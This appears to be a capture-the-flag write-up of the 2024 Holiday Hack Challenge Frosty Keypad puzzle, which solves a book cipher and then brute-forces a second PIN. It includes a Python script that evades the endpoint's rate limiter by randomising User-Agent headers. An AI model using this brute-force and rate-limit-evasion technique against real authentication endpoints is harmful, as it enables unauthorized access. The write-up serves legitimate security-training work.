Introduction

Up towards the castle off to the right is Morcel Nougat standing next to the Frosty Keypad:

image-20241113132029548

He is stuck and needs help:

Morcel Nougat

Morcel Nougat

Hello again! I’m Morcel Nougat, dashing around like a reindeer on a sugar rush! We’ve got a bit of a dilemma, and I could really use your expertise.

Wombley and Alabaster have taken charge now that Santa’s gone missing, and We’re scrambling to get the Wish List secured. But… one of the elves in the Data Management Team got overzealous, and the Shredder McShreddin 9000 gobbled up a crucial document we need to access Santa’s chest!

It’s our golden ticket to getting Santa’s Little Helper tool working properly. Without it, the hardware hack we’re planning is as empty as Santa’s sleigh in January.

Think you can help? I can get you into the Shredder McShreddin 9000’s inner workings to retrieve the pieces, but there are two access codes involved. One of the elves left a hint, but it’s all a blur to me!

I’ve noticed that some elves keep referring to a certain book when they walk by. I bet it has the answers we need to crack the code and recover the document!

You know, some of the elves always have their noses in the same book when they pass by here. Maybe it’s got the clues we need to crack the code?

Frosty Keypad

Items

Walking around the Front Yard I found two items:

image-20241113134237188

I can get to the book through the Items page in the snowball badge. The UV Flashlight shows up when I go into the Frosty Keypad.

Interface

Going into the challenge presents a keypad:

image-20241113142113209

There’s a note taped to the top left with some numbers. If I have the UV flashlight, it shows up as well:

image-20241113142306085

Silver

Decode Book Cipher

The sticky note is providing offsets into a book for a book cipher or Ottendorf cipher. Different implementations of this cipher can use the three numbers to mean different things, so I’ll have to play a bit to get the message out.

The book is available here.

Here it turns out to be page : word : character:

The result is SANTA.

Keypad

There are not letters on the keypad. I’ll try converting letters to numbers using the standard telephone phoneword:

img

By that, S –> 7, A –> 2, N –> 6, T –> 8, and A –> 2.

Entering this solves the silver level:

image-20241113143422512

Gold

Challenge

Morcel has more info:

Morcel Nougat

Morcel Nougat

But wait–there’s still one more code tucked away! This one might need a bit more elbow grease… you may need to try a few combinations to crack it!

Identify Digits

Using the UV flashlight, I can see that the keys 2, 6, 7, 8, and Enter have fingerprints on them. For example:

image-20241113143521766

The other keys, such as 1, don’t:

image-20241113143541944

Brute Force

The challenge makes it clear there are two different pins. The UV light doesn’t seem to add anything, unless the second pin uses the same digits. It can’t use other digits, or else they would show up on the keypad (assuming Santa isn’t always wearing gloves).

It’s worth a try to brute force it. I’ll start with the assumption that it’s the same length, five characters. I could assume that all four of the digits 2, 6, 7, and 8 are there, which turns out to be true, but I don’t actually know that, so I’m not going to make that leap.

I’ll write a short Python script to try all possible combinations from these four digits. itertools.product will take a list of things and a length and generate all possible lists of that length, allowing full repeats (as the pin could be 22222, and the other prints are from the silver pin).

There will be \(\text{num options}^{\text{length}}\) possible pins, so \(4^5 = 1024\).

In this video, I’ll understand what the request looks like, understand the rate limiting, and then I try all possible pins to find the right answer:

The resulting script finds the pin:

import random
import requests
import string
import time
from itertools import product


url = 'https://hhc24-frostykeypad.holidayhackchallenge.com/submit'
digits = [2, 6 ,7, 8]

for pin in product(digits, repeat=5):
    pin = ''.join(map(str, pin))

    while True:
        ua = ''.join(random.choices(string.ascii_letters, k=20))
        resp = requests.post(url, json={"answer": pin}, headers={"User-Agent": ua})
        if resp.status_code != 429:
            break
        time.sleep(1)

    if resp.status_code != 400:
        break
print(f"{pin}: {resp} {resp.text.strip()}")

Running it show the pin:

oxdf@hacky$ time python brute_pin.py 
22786: <Response [200]> {"output":"success"}

real    0m4.680s
user    0m1.040s
sys     0m0.060s

And entering it solves the challenge:

image-20241113174038027

Outro

Bow is impressed:

Morcel Nougat

Morcel Nougat

WOW, you did it! You know, they say Ottendorf ciphers were used back in the Frosty Archives crisis… or was that during the Jack Frost incident? Either way, you’re amazing!

Unbelievable! You found a flaw in the system and completely bypassed the rate limiter. You’re practically an elf legend!

Incredible work! You pieced together the code like a true sleuth and retrieved the shreds we need. I’m not quite sure how you’ll put them all together, but if anyone can, it’s you!

Your help has been absolutely essential, especially now with Santa missing. Wombley and Alabaster will want to hear all about it—go share the news with Jewel Loggins!

He also gives me one thousand little teeny tiny shredded pieces of paper:

image-20241113174305833

This will be useful for the hardware challenges.